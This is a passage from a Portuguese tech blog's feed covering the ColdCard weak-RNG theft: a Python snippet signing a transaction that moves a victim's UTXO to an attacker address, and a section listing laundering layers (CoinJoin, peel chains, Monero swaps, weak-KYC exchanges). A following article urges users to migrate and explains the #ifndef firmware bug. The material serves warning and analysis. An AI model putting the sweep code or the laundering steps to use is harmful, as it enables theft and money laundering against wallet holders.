</span></span><span class="line"><span class="cl"><span class="n">tx</span> <span class="o">=</span> <span class="n">Transaction</span><span class="p">(</span><span class="n">network</span><span class="o">=</span><span class="s1">&#39;bitcoin&#39;</span><span class="p">,</span> <span class="n">fee</span><span class="o">=</span><span class="n">fee</span><span class="p">,</span> <span class="n">witness_type</span><span class="o">=</span><span class="s1">&#39;segwit&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_input</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;</span><span class="p">,</span>  <span class="c1"># txid do UTXO da vítima</span>
</span></span><span class="line"><span class="cl">    <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">keys</span><span class="o">=</span><span class="n">key</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">value</span><span class="o">=</span><span class="n">input_value</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">locking_script</span><span class="o">=</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s1">&#39;0014&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="n">key</span><span class="o">.</span><span class="n">hash160</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">script_type</span><span class="o">=</span><span class="s1">&#39;sig_pubkey&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">address</span><span class="o">=</span><span class="n">key</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_output</span><span class="p">(</span><span class="n">output_value</span><span class="p">,</span> <span class="s1">&#39;bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru&#39;</span><span class="p">)</span>  <span class="c1"># endereço do atacante</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">sign</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">tx</span><span class="o">.</span><span class="n">raw_hex</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Uma transação assinada válida tem esse formato (hex truncado):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O atacante transmite esse hex para qualquer node Bitcoin (mempool.space, seu próprio node, Electrum, etc.). O protocolo não pergunta de onde veio a chave; só verifica se a assinatura satisfaz o script. Se a assinatura for válida, a rede inclui a transação no próximo bloco e o UTXO muda de dono.</p>
<p>No ataque real, isso foi feito 1.195 vezes em 41 minutos, todos com o mesmo script, a mesma taxa e a mesma lógica de ordenação por saldo.</p>
<h2>O que essa classe de bugs significa<span class="hx:absolute hx:-mt-20" id="o-que-essa-classe-de-bugs-significa"></span>
    <a href="#o-que-essa-classe-de-bugs-significa" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Esse não é um ataque à curva elíptica, ao SHA-256, ao BIP39 ou ao Bitcoin. É um ataque à <strong>entropia</strong>. O fabricante reduziu o espaço de chaves e o protocolo simplesmente aceitou as assinaturas que saíram daquele espaço menor.</p>
<p>Três lições:</p>
<ol>
<li><strong>Não confie na aparência de aleatoriedade.</strong> O output do Yasmarang passa por testes estatísticos simples e parece aleatório. Mas se o estado inicial é previsível, toda a sequência é previsível.</li>
<li><strong>Hash não cria entropia.</strong> Passar 40 bits de entrada por SHA-256 duas vezes gera um hash bonito e uniforme, mas ainda existem no máximo <code>2^40</code> hashes possíveis. O atacante enumera as entradas, não os hashes.</li>
<li><strong>A blockchain é pública e permanente.</strong> Uma wallet vulnerável pode ficar anos quieta até alguém ligar os pontos. No dia em que o ataque é publicado, todos os UTXOs daquele espaço de chaves viram alvos.</li>
</ol>
<h2>Dá para pegar o criminoso?<span class="hx:absolute hx:-mt-20" id="dá-para-pegar-o-criminoso"></span>
    <a href="#d%c3%a1-para-pegar-o-criminoso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma pergunta que aparece toda vez que um roubo de criptomoedas ganha escala é: &ldquo;será que dá para rastrear quem fez isso?&rdquo;. A resposta curta é: <strong>talvez, mas não é trivial</strong>, e rastrear não é o mesmo que recuperar os bitcoins.</p>
<p>Clay Garrett, que está entre as pessoas investigando o caso, publicou <a href="https://x.com/clay_garrett/status/2083247006139503065"target="_blank" rel="noopener">uma thread no X</a> alegando que a equipe dele identificou um padrão de varredura incomum. Segundo a thread, o operador do ataque teria usado uma conta paga de um provedor de serviços blockchain bem conhecido para consultar os endereços-fonte e a atividade relacionada durante os sweeps. Os logs do provedor teriam correspondido, com &ldquo;especificidade extraordinária&rdquo;, ao número, ao timing e à sequência das requisições. O provedor, segundo Garrett, estava apenas fornecendo serviços normais; as requisições em si não revelavam para que serviam.</p>
<p>O que isso significa, <strong>se for confirmado</strong>:</p>
<ul>
<li>Um provedor de serviços blockchain tipicamente exige conta, e muitas vezes pagamento. Isso pode deixar rastros: e-mail, método de pagamento, endereço IP, horários de acesso, padrão de uso da API.</li>
<li>Se a conta passou por KYC, a probabilidade de identificar uma pessoa sobe muito. Se o pagamento foi feito com criptomoeda, voucher anônimo ou cartão de terceiros, o vínculo se torna fraco.</li>
<li>Mesmo com um IP ou e-mail, o operador pode ter usado VPN, Tor, computação em nuvem descartável ou identidade roubada. Cada camada adicional reduz a chance de chegar até a pessoa real.</li>
<li>Os fundos, até onde se sabe, ainda não foram movidos para mixers ou trocas. Enquanto estiverem parados, existe uma janela para congelamento ou recuperação judicial. Assim que forem trocados, misturados ou convertidos em fiat off-shore, a recuperação do ativo fica drasticamente mais difícil.</li>
</ul>
<p>Ou seja: a thread aponta para uma linha de investigação promissora, mas <strong>é uma alegação em andamento</strong>, não uma prova concluída. Capturar o operador depende de como ele se expôs nos serviços terceirizados, da qualidade dos logs, da jurisdição e da velocidade das autoridades. Recuperar os bitcoins depende de onde as moedas estiverem quando isso acontecer. As duas coisas estão relacionadas, mas não são a mesma coisa.</p>
<h2>O que o atacante ainda não fez<span class="hx:absolute hx:-mt-20" id="o-que-o-atacante-ainda-não-fez"></span>
    <a href="#o-que-o-atacante-ainda-n%c3%a3o-fez" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Até agora, a operação foi tecnicamente competente no ataque, mas amadora na fuga. Os ~1.128 BTC roubados estão parados em endereços de consolidação conhecidos, sem mixer, sem coinjoin, sem movimentação posterior. Isso é incomum para um roubo dessa magnitude e merece atenção, porque define o que ainda é recuperável.</p>
<h3>O que seria um mixer, e por que ele não foi usado<span class="hx:absolute hx:-mt-20" id="o-que-seria-um-mixer-e-por-que-ele-não-foi-usado"></span>
    <a href="#o-que-seria-um-mixer-e-por-que-ele-n%c3%a3o-foi-usado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Um <strong>mixer</strong> (ou <strong>tumbler</strong>) é um serviço que recebe bitcoins de várias pessoas, embaralha os valores em uma única transação ou série de transações e devolve bitcoins equivalentes em endereços novos. A ideia é quebrar a cadeia pública de &ldquo;de onde veio&rdquo;.</p>
<p>O modelo clássico é o <strong>CoinJoin</strong>: vários participantes assinam juntos uma transação com muitos inputs e muitos outputs do mesmo tamanho. Observador externo vê que o dinheiro entrou, mas não consegue dizer qual output pertence a quem. Ferramentas como <strong>Wasabi Wallet</strong> e <strong>Samourai Wallet</strong> implementam CoinJoin de forma automatizada. O Samourai chegou a oferecer o serviço <strong>Whirlpool</strong>, onde os UTXOs passam por rodadas de remixagem que dificultam ainda mais o rastreamento.</p>
<p>Outro modelo é o mixer centralizado, em que você envia bitcoins para um endereço do serviço e recebe de volta de um pool diferente, menos uma taxa. Historicamente serviços como <strong>Bitcoin Fog</strong> e <strong>Helix</strong> funcionavam assim. A diferença para o CoinJoin é que você precisa confiar no operador do mixer — e vários desses operadores foram presos exatamente porque os investigadores conseguiram ligar os depósitos aos saques.</p>
<p>No caso do roubo da ColdCard, nenhuma dessas técnicas apareceu ainda. Os bitcoins saíram das wallets das vítimas, foram parar em três grandes clusters e, de lá, não se moveram. Isso pode significar várias coisas:</p>
<ol>
<li><strong>O atacante ainda está decolando.</strong> Roubar 1.128 BTC em 41 minutos é uma coisa; lavar 1.128 BTC sem deixar rastros é outra. Configurar uma pipeline de anonimização leva tempo, custa dinheiro e exige contas pré-estabelecidas.</li>
<li><strong>O atacante não esperava tanta visibilidade.</strong> Quando a imprensa e os analistas de blockchain começam a acompanhar endereços em tempo real, qualquer movimentação imediata vira notícia. Parar os fundos é uma forma de esperar o burburinho baixar.</li>
<li><strong>O atacante pode estar negociando uma recuperação.</strong> Não é raro que grandes roubos terminem em acordo, com parte dos fundos devolvida em troca de anonimato do ladrão.</li>
</ol>
<h3>Como se esconde normalmente uma quantia dessas<span class="hx:absolute hx:-mt-20" id="como-se-esconde-normalmente-uma-quantia-dessas"></span>
    <a href="#como-se-esconde-normalmente-uma-quantia-dessas" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Se o operador quiser realmente dificultar o rastreamento, o playbook padrão envolve várias camadas:</p>
<ol>
<li><strong>CoinJoin em rodadas.</strong> O atacante divide os fundos em valores padronizados e passa por múltiplas rodadas de CoinJoin. Depois de algumas rodadas, o grafo deixa de ser uma árvore e vira uma teia, dificultando a atribuição.</li>
<li><strong>Peel chain.</strong> Em vez de mandar tudo de uma vez, ele vai transferindo pequenas fatias por dezenas ou centenas de endereços intermediários, como descascar uma cebola. Cada endereço envia a maior parte para o próximo e uma pequena fração para um destino final.</li>
<li><strong>Trocas instantâneas e bridges.</strong> Trocar Bitcoin por Monero em uma exchange descentralizada ou bridge é um caminho comum: Monero oculta remetente, destinatário e valor. Depois de algumas transações em Monero, o atacante pode trocar de volta para Bitcoin em novos endereços.</li>
<li><strong>Exchanges com KYC fraco ou nenhum.</strong> Depositar em corretoras que não exigem identificação, ou que aceitam contas de terceiros, permite converter em stablecoins, fiat ou outras criptomoedas. Mesmo com KYC, contas compradas ou de laranjas ajudam a criar distância.</li>
<li><strong>Fiat off-shore.</strong> O estágio final é transformar o ativo em dinheiro real fora das jurisdições que cooperam com investigações. Casas de câmbio não reguladas, caixas eletrônicos de Bitcoin, cartões pré-pagos e contas em paraísos fiscais entram aqui.</li>
</ol>
<p>Cada uma dessas camadas não torna o rastreamento impossível, mas aumenta o custo. Uma investigação bem financiada ainda pode seguir pistas: taxas pagas por uma exchange, padrões de timing, endereços de troco, correspondência de valores. O problema é que, quanto mais camadas, mais tempo leva — e quanto mais tempo, menor a chance de congelar os fundos antes que sejam gastos.</p>
<h3>Por que isso importa agora<span class="hx:absolute hx:-mt-20" id="por-que-isso-importa-agora"></span>
    <a href="#por-que-isso-importa-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O fato de os bitcoins ainda estarem nos endereços de consolidação significa que a janela de recuperação ainda está aberta, em teoria. Autoridades e investigadores privados podem monitorar esses endereços, pedir congelamento em exchanges e pressionar provedores de serviços blockchain. Se o atacante enviar qualquer satoshi para um mixer conhecido, o alerta dispara.</p>
<p>Mas essa janela se fecha assim que os fundos entrarem em um pipeline de anonimização. Depois de um CoinJoin bem feito, de uma troca por Monero e de uma rede de peel chains, a pergunta deixa de ser &ldquo;onde está o dinheiro?&rdquo; e passa a ser &ldquo;quem conseguimos prender?&rdquo;. Recuperar o ativo se torna tecnicamente inviável para a maioria das vítimas.</p>
<p>Ou seja, o atacante já venceu a primeira batalha — encontrar e roubar as chaves. A segunda batalha, de sair com o dinheiro de forma anônima, é a que normalmente separa ladrões de grandes carteiras de ladrões que acabam presos.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você ainda tem fundos em uma seed gerada por firmware ColdCard vulnerável, o risco não é teórico. A blockchain já mostra centenas de endereços sendo esvaziados por alguém que reproduziu o RNG defeituoso.</p>
<p>A ColdCard não guarda seus bitcoins. Ela guardava a chave. A chave nasceu fraca. Quem tem uma cópia da mesma chave — obtida enumerando estados de um PRNG — pode assinar transações do seu lado, sem nunca ter tocado no aparelho.</p>
<p>A única defesa é mover os fundos para uma seed nova, gerada por firmware corrigido ou, melhor ainda, por um processo que combine fontes independentes de entropia (dados casino-grade, TRNG de outro fabricante, host offline). E testar a restauração antes de enviar valor relevante.</p>
<p>Não confie em empresa, certificação, influencer ou artigo. Nem neste aqui. Verifique.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>seguranca</category><category>hardware</category></item><item><title>URGENTE - Se você guarda Bitcoins em ColdCard: MOVA TUDO</title><link>https://akitaonrails.github.io/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/07/31/urgente-se-voce-guarda-bitcoins-em-coldcard-mova-tudo/</guid><pubDate>Fri, 31 Jul 2026 23:00:00 -0300</pubDate><description>&lt;p&gt;Eu uso ColdCard. Ou melhor, usava aquela ColdCard antiga pra guardar parte dos meus bitcoins. Já movi tudo que estava nela pra uma wallet nova. Se sua seed foi gerada numa ColdCard desde março de 2021 e você não consegue provar que veio de firmware seguro ou de entropia externa suficiente, pare de ler, faça o inventário e se prepare pra mover também.&lt;/p&gt;
&lt;p&gt;Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação &lt;a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"&gt;recebeu 594,47723261 BTC em 501 outputs&lt;/a&gt;. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do &lt;a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener"&gt;Bitcoin Optech&lt;/a&gt;, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de &lt;strong&gt;1.000 BTC&lt;/strong&gt;.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Eu uso ColdCard. Ou melhor, usava aquela ColdCard antiga pra guardar parte dos meus bitcoins. Já movi tudo que estava nela pra uma wallet nova. Se sua seed foi gerada numa ColdCard desde março de 2021 e você não consegue provar que veio de firmware seguro ou de entropia externa suficiente, pare de ler, faça o inventário e se prepare pra mover também.</p>
<p>Não estou exagerando pra fazer título caça-clique. Em 29 de julho apareceram transações varrendo wallets de usuários. Um dos endereços de consolidação <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">recebeu 594,47723261 BTC em 501 outputs</a>. Isso é dado público na blockchain, não screenshot de Telegram. A edição 416 do <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">Bitcoin Optech</a>, publicada enquanto o caso ainda se desenrolava, já estimava perdas acima de <strong>1.000 BTC</strong>.</p>
<p>O número exato ainda vai mudar. O cluster de 594 BTC é diretamente observável; atribuir cada input à mesma vulnerabilidade e fechar o total global exige análise adicional. Mas a combinação de relatos de vítimas, padrão do sweep, reprodução do bug e admissão da própria Coinkite é forte o bastante. Esperar um relatório forense bonito enquanto uma seed vulnerável continua recebendo fundos é uma péssima estratégia.</p>
<blockquote>
  <p>Também não entre em pânico e digite suas 24 palavras no primeiro site que promete &ldquo;verificar ColdCard&rdquo;. Isso é a outra forma, bem mais fácil, de perder tudo. Seed nunca entra em website, chat, extensão de browser ou computador online. Primeiro entenda se foi afetado. Depois migre com calma, conferindo endereço na tela de um signer confiável.</p>

</blockquote>
<h2>Quem precisa agir agora<span class="hx:absolute hx:-mt-20" id="quem-precisa-agir-agora"></span>
    <a href="#quem-precisa-agir-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A vulnerabilidade está na <strong>geração da seed</strong>. O que importa é o modelo e o firmware usados no dia em que aquelas palavras foram criadas, não o firmware instalado hoje nem onde você importou a seed depois.</p>
<blockquote>
  <p><strong>Na prática: se você tem qualquer ColdCard, mova os fundos pra uma wallet derivada de uma seed completamente nova. Melhor pecar pelo excesso de cuidado.</strong> As faixas abaixo dizem onde o bug já foi confirmado; não são motivo pra apostar a poupança da sua vida na hipótese de que todo o resto está perfeito. Atualizar o aparelho não conserta a seed antiga.</p>

</blockquote>
<p>Segundo o <a href="https://blog.coinkite.com/coldcard-mk3-seed-generation-warning/"target="_blank" rel="noopener">advisory da Coinkite</a> e a <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">análise independente da Block</a>, trate como comprometida qualquer seed gerada nestas condições:</p>
<table>
  <thead>
      <tr>
          <th>Aparelho</th>
          <th>Firmware que gerou a seed</th>
          <th>Situação</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2</td>
          <td>4.0.0 até 4.1.9, segundo a Block</td>
          <td>Vulnerável. Migre a seed e aposente o aparelho como gerador.</td>
      </tr>
      <tr>
          <td>Mk3</td>
          <td>4.0.1 até 4.1.9 no advisory da Coinkite; a Block inclui 4.0.0</td>
          <td>Vulnerável. Instale 4.2.0 ou superior antes de gerar outra seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Standard</td>
          <td>Anterior a 5.6.0</td>
          <td>Afetado. Atualize antes de gerar outra seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Edge</td>
          <td>Anterior a 6.6.0X</td>
          <td>Afetado. Edge é outra linha de release.</td>
      </tr>
      <tr>
          <td>Q Standard</td>
          <td>Anterior a 1.5.0Q</td>
          <td>Afetado.</td>
      </tr>
      <tr>
          <td>Q Edge</td>
          <td>Anterior a 6.6.0QX</td>
          <td>Afetado.</td>
      </tr>
  </tbody>
</table>
<p>A Block inclui Mk2 com firmware 4.x na mesma regressão do Mk3 e começa a faixa vulnerável dos dois no 4.0.0. A Coinkite concentrou o advisory no Mk3, a partir do 4.0.1, e nos modelos atuais. Eu trataria toda a linha 4.x até 4.1.9 como comprometida nos dois. Se você tem Mk2, não use a ausência dele no título do comunicado como conforto.</p>
<p>Há uma exceção importante: quem acrescentou pelo menos <strong>50 jogadas justas, independentes e privadas de um dado</strong> durante a criação original preservou, em tese, no mínimo 128 bits vindos de fora. A própria Coinkite diz que essas seeds não estão em risco por <strong>este bug isoladamente</strong>. Se você não lembra exatamente quantas jogadas fez, qual fluxo usou ou se aqueles resultados continuaram privados, assuma que não fez.</p>
<p>Seed importada de outro gerador também não nasceu desse RNG defeituoso. Ela pode ter outros problemas, claro, mas não este. E atualizar firmware agora não volta no tempo pra reparar palavra nenhuma. Você precisa criar uma seed nova e transferir os UTXOs pra endereços derivados dela.</p>
<blockquote>
  <p><strong>Restaurar as mesmas 24 palavras numa Trezor, Ledger, SeedSigner ou qualquer outro aparelho NÃO é uma migração. Você continua em perigo.</strong> O hardware mudou; a raiz e todo o universo de private keys derivadas continuam os mesmos. Outro derivation path pode até mostrar endereços diferentes, mas não acrescenta entropia. Se a ColdCard gerou aquela wallet com o RNG fraco, importar a seed em outro signer apenas ensina o aparelho novo a reproduzir as mesmas chaves vulneráveis. Crie uma wallet completamente nova, com entropia nova, e faça uma transação on-chain movendo os fundos da wallet antiga pra endereços da nova.</p>

</blockquote>
<p>Eu faria isso mesmo tendo uma passphrase forte. A passphrase pode ter colocado uma barreira independente na frente do atacante, mas a própria Coinkite recomenda migrar. Depois de uma falha desta proporção, ficar calculando o mínimo teórico aceitável de risco é economizar no lugar errado.</p>
<h2>O bug: <code>#ifndef</code> não significa &ldquo;se for verdadeiro&rdquo;<span class="hx:absolute hx:-mt-20" id="o-bug-ifndef-não-significa-se-for-verdadeiro"></span>
    <a href="#o-bug-ifndef-n%c3%a3o-significa-se-for-verdadeiro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">post-mortem técnico da Coinkite</a> é uma leitura constrangedora.</p>
<p>Em março de 2021, o firmware trocou <code>ckcc.rng_bytes()</code> por <code>ngu.random.bytes()</code> durante a migração pro libNgU e pro <code>libsecp256k1</code> usado pelo Bitcoin Core. A escolha da biblioteca criptográfica era boa. A integração foi desastrosa.</p>
<p>O código de build definia:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define MICROPY_HW_ENABLE_RNG (0)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Só que a guarda no libNgU verificava isto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#ifndef MICROPY_HW_ENABLE_RNG
</span></span></span><span class="line"><span class="cl"><span class="cp">#error &#34;get a HW TRNG plz&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>#ifndef</code> pergunta se o símbolo existe, não se o valor dele é diferente de zero. O símbolo existia. O build passou. Na resolução final, <code>rng_get()</code> apontou pro fallback de software do MicroPython, um PRNG determinístico chamado Yasmarang, inicializado com UID do microcontrolador e registradores de tempo. UID identifica chip. Relógio mede tempo. Nenhum dos dois é uma fonte criptográfica de aleatoriedade.</p>
<p>Pior: a implementação correta do TRNG estava dentro do binário. Reviews anteriores olharam pra ela e concluíram que estava tudo certo, mas ninguém verificou o caminho completo entre &ldquo;gerar nova wallet&rdquo; e o símbolo que de fato era chamado no executável. Não havia teste de integração que falhasse quando a seed saísse do gerador errado.</p>
<p>No Mk3, a estimativa preliminar da Coinkite é de cerca de <strong>40 bits de entropia efetiva</strong>, em vez dos 128 bits mínimos esperados. Nos Mk4, Q e Mk5, valores dos secure elements entravam como uma segunda camada, e a empresa estima aproximadamente <strong>72 bits</strong>. A análise da Block é ainda mais dura: apenas 32 bits do material dos secure elements chegavam ao estado do PRNG naquele reseed. Os modelos de ameaça e as estimativas não são idênticos. Nenhum deles chega perto do alvo.</p>
<p>Passar a saída ruim por SHA-256 não cria entropia. Se existem apenas <code>2^40</code> entradas possíveis, no máximo existirão <code>2^40</code> hashes possíveis. Eles ficam bonitos, uniformes e continuam enumeráveis.</p>
<p>Isso ficou no caminho mais importante do produto por mais de cinco anos.</p>
<h2>Como uma reescrita de 120 arquivos chegou aqui<span class="hx:absolute hx:-mt-20" id="como-uma-reescrita-de-120-arquivos-chegou-aqui"></span>
    <a href="#como-uma-reescrita-de-120-arquivos-chegou-aqui" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://x.com/zherbert/status/2082993276324319713"target="_blank" rel="noopener">Zach Herbert publicou uma timeline</a> que vale resumir. Ele é cofundador da Foundation, fabricante da Passport e concorrente da Coinkite, portanto leia a interpretação com esse contexto. As datas e commits, porém, são verificáveis.</p>
<p>Em julho de 2020, a Foundation anunciou que sua primeira Passport aproveitaria o firmware GPLv3 da ColdCard. Dois dias depois, NVK reclamou publicamente do &ldquo;clone&rdquo; e disse que mudaria a licença. Em novembro, a ColdCard adicionou MIT mais Commons Clause, que deixava o código visível mas restringia produtos comerciais derivados. Em janeiro de 2021, a mudança apareceu formalmente no firmware 3.2.1.</p>
<p>No dia 1 de março veio o commit <code>First pass w/ libNgU</code>: 120 arquivos alterados, remoção de bibliotecas derivadas da Trezor sob GPL, troca da stack criptográfica e mudança do código que gerava seeds. Em 17 de março, a versão 4.0.0 anunciou a remoção do último código GPL.</p>
<p>Não dá pra provar quanto da pressa ou do escopo veio da disputa de licença. A própria timeline reconhece outros objetivos legítimos: adotar <code>libsecp256k1</code>, acelerar AES/SHA e permitir builds reproduzíveis. O fato concreto é mais simples: o bug entrou no mesmo commit gigantesco e o produto passou cinco anos sem um teste end-to-end do seu caminho mais crítico.</p>
<p>Isso é incompetência de engenharia. Um hardware wallet pode ter secure element, embalagem lacrada, air gap e site cheio de explicações sobre soberania. Se a função que gera a chave chama o RNG errado e ninguém testa isso por cinco anos, o resto virou cenário.</p>
<h2>Isso foi cisne branco, não cisne negro<span class="hx:absolute hx:-mt-20" id="isso-foi-cisne-branco-não-cisne-negro"></span>
    <a href="#isso-foi-cisne-branco-n%c3%a3o-cisne-negro" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Já vi gente chamando o caso de &ldquo;black swan&rdquo;, como se uma conjunção cósmica de eventos imprevisíveis tivesse acertado a Coinkite. Não foi.</p>
<p>O código vulnerável estava visível no repositório desde março de 2021. O commit era enorme, mas não secreto. O fallback determinístico estava num submodule público. A macro definida como zero estava no board config. O <code>#ifndef</code> errado estava na integração. Faltava seguir a chamada de geração da seed até o símbolo resolvido no binário e escrever um teste que provasse de onde vinha a entropia.</p>
<p>Um black swan é raro, surpreendente e só parece óbvio depois. Este era um <strong>white swan</strong>: risco conhecido na categoria mais sensível do produto, com causa observável e consequência previsível. Ninguém sabia o dia exato em que alguém ligaria os pontos e varreria as wallets. A bomba, porém, estava montada e fazendo tic-tac em público por cinco anos.</p>
<p>E a Coinkite ajudou a reduzir o número de pessoas dispostas a desarmá-la.</p>
<p>Em 2021, Marko Bencun, da Shift/BitBox, e Hugo Nguyen, da Nunchuk, <a href="https://blog.bitbox.swiss/en/remote-multisig-theft-attack-on-the-coldcard-hardware-wallet/"target="_blank" rel="noopener">reportaram responsavelmente uma falha crítica de multisig</a>. A Coinkite corrigiu o código, mas as release notes não avisaram que era vulnerabilidade nem comunicaram urgência. O pedido de bounty de Bencun foi ignorado. A empresa só publicou um alerta mais explícito depois que o pesquisador publicou os detalhes.</p>
